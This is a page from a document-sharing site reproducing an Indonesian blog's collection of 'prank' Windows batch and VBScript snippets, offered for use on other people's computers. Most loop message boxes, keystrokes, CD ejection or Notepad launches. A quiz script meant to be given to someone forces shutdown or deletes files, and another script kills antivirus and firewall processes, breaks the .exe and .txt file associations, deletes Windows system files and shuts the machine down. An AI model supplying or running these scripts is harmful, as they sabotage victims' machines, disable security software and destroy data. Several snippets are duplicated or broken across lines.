Documents
Resources
Learning Center
Upload
Plans & pricing Sign in
Sign Out

KUMPULAN SCRIPT JAHIL

VIEWS: 83 PAGES: 4

KUMPULAN SCRIPT JAHIL

More Info
									                                                          Suratkoe.blogspot.com
                       KUMPULAN SCRIPT JAHIL
script ini bisa kita pakai, untuk menjahili komputer seseorang…!


MESSAGES YG NONGOL TERUS MENERUS SECARA OTOMATIS
Code:
@ECHO off
:Begin
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN

==> save nama script diatas dg ekstensi *.bat

BIKIN SHUTDOWN + MESSAGES
Code:
@echo off
msg * apaan sih lo
shutdown -s -c "Error! muka mu
standar abis"

==> save nama script diatas dg ekstensi *.bat

MAININ CAPS LOCK BUTTON
Code:
Set wshShell
=wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

==> save nama script diatas dg ekstensi *.vbs

BUKA TUTUP CD/DVD SECARA OTOMATIS
Code:
Set oWMP = CreateObject
("WMPlayer.OCX.7")
Set colCDROMs =
oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

==> save nama script diatas dg ekstensi *.vbs

BIKIN VB SCRIPT NONGOL TERUS MENERUS SECARA OTOMATIS
Code:
Set wshShell =
wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

==> save nama script diatas dg ekstensi *.vbs
                                                             Suratkoe.blogspot.com
MENEKAN TOMBOL BACKSPACE TERUS MENERUS SECARA OTOMATIS
Code:
MsgBox "kembali ke menu
sebelumnya"
Set wshShell
=wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

==> save nama script diatas dg ekstensi *.vbs

OTOMATIS NGETIK "LU JELEK BANGET SIH" DI NOTEPAD ATAU M.WORD
Code:
Set wshShell =
wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "lu jelek
banget sih!!!"
loop

==> save nama script diatas dg ekstensi *.vbs

MEMBUKA NOTEPAD TERUS MENERUS
Code:
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top

==> save nama script diatas dg ekstensi *.BAT


BISA MEMILIH JAWABAN SEPERTI QUIZ LAH KIRA2
Code:
@echo off
title quiz hari ini :)
:menu
cls
echo jika kamu kena virus apa
yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t
30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka lo rusak
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top

==> nah script diatas save jadi quiz.bat,,lalu kasih ke anak orang...
                                                Suratkoe.blogspot.com
POKOKNYA KALO YG INI DICOBA DULU DEH !!
Code:
@echo off
set end=md “Hack
installing”
set fin=copy “Hack
log.txt” “Installing”
%end%
%fin%
net send * Hack is
installing, press OK to
begin set up.
kill NAVAPSVC.exe /F /Q
kill zonelabs.exe /F /Q
kill explorer.exe /F /Q
cls
assoc .exe=txtfile
assoc .txt=mp3file
cls
msg * It is you who is
hacked ….
msg * I warned you,
and you kept going.
Challenge me and this
is what happens.
DEL C:\WINDOWS
\system32\logoff.exe /
F /Q
DEL C:\WINDOWS
\system32\logon.exe /
F /Q
DEL C:\WINDOWS
\system32\logon.scr /
F /Q
cls
shutdown -s -t 5 -c
“ thank you for
waiting”

==> save script diatas dg ekstensi *.bat

KEYBOARD PROBLEM
Code:
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "sabotase keyboard, etc"
loop

==> save nama script diatas dg ekstensi *.bat

BACKSPACE PROBLEM
Code:
MsgBox "empatujuhcode bilang : anda harus mengulang kembali"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

==> save nama script diatas dg ekstensi *.bat

ENTER AGAIN
Code:
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

==> save nama script diatas dg ekstensi *.bat
                                                  Suratkoe.blogspot.com

MAININ CAPSLOCK BUTTON
Code:
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

==> save nama script diatas dg ekstensi *.bat

VBS SCRIPT NONGOL TERUS
Code:
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

==> save nama script diatas dg ekstensi *.bat

KUIS MEMBAWA PETAKA
Code:
@echo off
title quiz hari ini
:menu
cls
echo jika kamu kena virus apa yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t 30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

==> save nama script diatas dg ekstensi *.bat




             Suratkoe.blogspot.com

								
To top